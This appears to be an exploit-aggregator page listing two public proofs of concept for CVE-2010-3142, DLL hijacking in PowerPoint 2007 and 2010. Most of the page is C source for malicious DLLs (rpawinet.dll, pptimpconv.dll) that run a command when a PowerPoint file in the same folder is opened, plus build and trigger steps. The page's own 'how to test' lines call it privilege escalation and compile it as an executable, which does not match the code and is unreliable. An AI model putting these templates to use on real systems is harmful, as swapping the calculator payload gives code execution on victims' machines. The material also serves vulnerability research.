Materialized exploit
CVE-2010-3142
2 public exploit(s) for this CVE, 2 materialized with their code.
For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
ExploitDB
local windows
Source
Microsoft PowerPoint 2007 - 'rpawinet.dll' DLL Hijacking
By storm
How to test this exploit
Local exploit. Run on a vulnerable install in a throwaway VM and verify the privilege escalation.
gcc 14782.c -o exploit && ./exploit
Code c
/*
Exploit Title: Microsoft Office PowerPoint 2007 DLL Hijacking Exploit (rpawinet.dll)
Date: August 25, 2010
Author: storm (storm@gonullyourself.org)
Version: 2007 (12.0.6535.5002) SP2
Tested on: Windows Vista SP2
http://www.gonullyourself.org/
gcc -shared -o rpawinet.dll PowerPoint-DLL.c
.odp, .pothtml, .potm, .potx, .ppa, .ppam, .pps, .ppt, .ppthtml, .pptm, .pptxml, .pwz, .sldm, .sldx, and .thmx files are affected.
*/
#include <windows.h>
#define DllExport __declspec (dllexport)
DllExport void HttpFilterBeginningTransaction() { hax(); }
DllExport void HttpFilterClose() { hax(); }
DllExport void HttpFilterOnBlockingOps() { hax(); }
DllExport void HttpFilterOnResponse() { hax(); }
DllExport void HttpFilterOnTransactionComplete() { hax(); }
DllExport void HttpFilterOpen() { hax(); }
int hax()
{
WinExec("calc", 0);
exit(0);
return 0;
}
ExploitDB
local windows
Source
Microsoft PowerPoint 2010 - 'pptimpconv.dll' DLL Hijacking
By TheLeader
How to test this exploit
Local exploit. Run on a vulnerable install in a throwaway VM and verify the privilege escalation.
gcc 14723.c -o exploit && ./exploit
Code c
/*
Exploit Title: Microsoft PowerPoint 2010 DLL Hijacking Exploit (pptimpconv.dll)
Date: 24/08/2010
Author: TheLeader
Email: gsog2009 [a7] hotmail [d0t] com
Software Link: http://office.microsoft.com/en-us/powerpoint/
Version: 14.0.4760.1000
Tested on: Windows 7 x86 (6.1.7600)
Compile and rename to pptimpconv.dll, create a file in the same dir with one of the following extensions:
.odp / .pot / .potm / .potx / .ppa / .pps / .ppsm / .ppsx / .ppt / .pptm / .pptx / .pwz / .sldm / .sldx
This exploit does _not_ get triggered with the following file extensions:
.pothtml / .ppam / .ppthtml / .pptxml / .thmx
Double click & watch a nice calculator pop =]
*More shouts* to all the great guys at forums.hacking.org.il
*/
#include <windows.h>
#define DLLIMPORT __declspec (dllexport)
DLLIMPORT void HrCreateConverter() { evil(); }
int evil()
{
WinExec("calc", 0);
exit(0);
return 0;
}